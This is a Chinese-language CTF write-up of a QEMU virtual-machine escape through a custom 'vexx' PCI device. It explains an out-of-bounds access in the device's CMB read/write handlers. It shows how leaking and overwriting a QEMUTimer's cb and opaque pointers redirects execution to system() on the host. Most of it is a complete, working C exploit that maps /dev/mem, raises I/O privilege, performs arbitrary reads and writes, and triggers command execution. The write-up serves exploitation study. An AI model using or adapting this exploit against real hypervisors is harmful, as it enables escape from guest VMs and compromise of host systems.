保护是全开的
首先来看启动文件
#!/bin/sh
./qemu-system-x86_64 -hda rootfs.ext2 -kernel bzImage -m 64M -append "console=ttyS0 root=/dev/sda oops=panic panic=1" -L ./pc-bios -netdev user,id=mynet0 -device rtl8139,netdev=mynet0 -nographic -device vexx -snapshot
设备的名字叫vexx
当然似乎还有个设备叫rtl8139
他是qemu-kvm中的网卡设备,不必多管
启动一下,用的是ubuntu20.04的环境
发现缺几个库
sudo apt-get install libncurses5
sudo apt-get install libncursesw5
两个命令搞定
用户名root
密码goodluck
函数就这么一堆
基类初始化没啥好看的
可以看到我们的两个id
可以找到对应设备的总线等信息。
重点先来看一下类对象初始化的realize
注册了两个mmio
最后两个成员也是两个结构体
重点还是来到两个read,两个write,还有cmb的一套对应mmio的read/write
我们一个一个分析
首先看mmio_read
然后是mmio_write
然后是pmio_write
然后是pmio_read
pmio rw没啥。可以对三个变量进行读写。
那就再看看cmb rw
vexx_cmb_read
vexx_cmb_write
漏洞很清晰了
所以我们现在就是讨论如何利用漏洞。
我们要重点介绍一个结构体
首先我们要知道我们越界的位置在
VexxState结构体中的req成员
req成员是一个VexxRequest结构体
这个成员下面还有一个成员,VxeeDma结构体类型的
这里面有个成员,dma_timer
他是一个QEMUTimer_0结构体
他又是QEMUTimer结构体的别称
我们要重点介绍的就是这个结构体
opaque指针指向VexxState的结构体的堆块,我们读它可以泄露堆地址
cb也是一个指针,指向我们的vexx_dma_timer函数,我们可以通过它泄露基地址。
然后呢在vexx_mmio_write里面有一条这样的调用链
timer_mod
timer_mod_ns
timerlist_notify
cb(opaque)
所以我们只要把cat flag这种字符串写在req_buf中,再拿到req_buf地址。
然后覆盖cb为system_plt,覆盖opaque为req_buf地址
就可以getshell。
首先先拿到mmio pmio的地址
这里可以拿到pmio的base地址
这样可以拿到mmio的地址跟大小。
具体哪个地址对应的是那个mmio
看这里
当然我们也可以通过/dev/mem文件,来访问
我们直接mmap/dev/mem到内存,然后对他访问来控制mmio。
raycp大佬这部分都写好了
我们直接用
exp用了raycp大佬的模板,而且主体部分也比较简单,没啥可写的,就抄来稍作解释。raycp大佬可太强了。
exp
#include <assert.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include<sys/io.h>
uint32_t mmio_addr = 0xfebd6000;
uint32_t mmio_size = 0x1000;
uint32_t cmb_addr = 0xfebd0000;
uint32_t cmb_size = 0x4000;
unsigned char* mmio_mem;
unsigned char* cmb_mem;
uint32_t pmio_base=0x230;
void die(const char* msg)
{
perror(msg);
exit(-1);
}
void* mem_map( const char* dev, size_t offset, size_t size )
{
int fd = open( dev, O_RDWR | O_SYNC );
if ( fd == -1 ) {
return 0;
}
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) {
return 0;
}
close( fd );
return result;
}
uint8_t mmio_read(uint32_t addr)
{
return *((uint8_t*) (mmio_mem+addr));
}
void mmio_write(uint32_t addr, uint8_t value)
{
*( (uint32_t *) (mmio_mem+addr) ) = value;
}
uint8_t cmb_read(uint32_t addr)
{
return *((uint8_t*) (cmb_mem+addr));
}
void cmb_write(uint32_t addr, uint8_t value)
{
*( (uint8_t *) (cmb_mem+addr) ) = value;
}
void pmio_write(uint32_t addr, uint32_t value)
{
outb(value,addr);
}
uint8_t pmio_read(uint32_t addr)
{
return (uint32_t)inb(addr);
}
void set_offset(uint32_t value)
{
pmio_write(pmio_base+0x10, value);
}
void set_memorymode(uint32_t value)
{
pmio_write(pmio_base+0x0, value);
}
uint8_t arbitrary_read(uint32_t offset)
{
set_offset(offset);
return cmb_read(0x100);
}
void arbitrary_write(uint32_t offset, uint8_t value)
{
set_offset(offset);
cmb_write(0x100, value);
}
void normal_write(uint32_t offset, uint8_t value)
{
set_offset(offset);
cmb_write(0x0, value);
}
int main(int argc, char *argv[])
{
//这一部分就是利用/dev/mem直接写,比利用那个resource文件好使。
system( "mknod -m 660 /dev/mem c 1 1" );
mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size );
if ( !mmio_mem ) {
die("mmap mmio failed");
}
cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size );
if ( !cmb_mem ) {
die("mmap cmb mem failed");
}
// 想利用pmio就要先把io等级拉上来
if (iopl(3) !=0 )
die("I/O permission is not enough");
//泄露地址
set_memorymode(1);
uint64_t heap_addr=0,tmp;
uint32_t i;
for (i=0;i<8;i++) {
tmp = arbitrary_read(0x40+i);
heap_addr=heap_addr+(tmp<<(i*8));
}
printf("leaking heap address: 0x%lx\n",heap_addr);
uint64_t pro_addr=0;
for (i=0;i<8;i++) {
tmp = arbitrary_read(0x38+i);
pro_addr=pro_addr+(tmp<<(i*8));
}
printf("leaking pro address: 0x%lx\n",pro_addr);
uint64_t pro_base= pro_addr-0x4DCF10;
uint64_t system_plt=pro_base+0x2AB860;
//三个任意写
char *para="ls&&cat ./flag";
for(i=0; i< strlen(para); i++) {
normal_write(0x0+i,para[i]);
}
uint64_t para_addr=heap_addr+0xb90;
for(i=0; i<8; i++) {
arbitrary_write(0x38+i,((char*)&system_plt)[i]);
}
for(i=0; i<8; i++) {
arbitrary_write(0x40+i, ((char*)¶_addr)[i]);
}
//最后触发
mmio_write(0x98,1);
}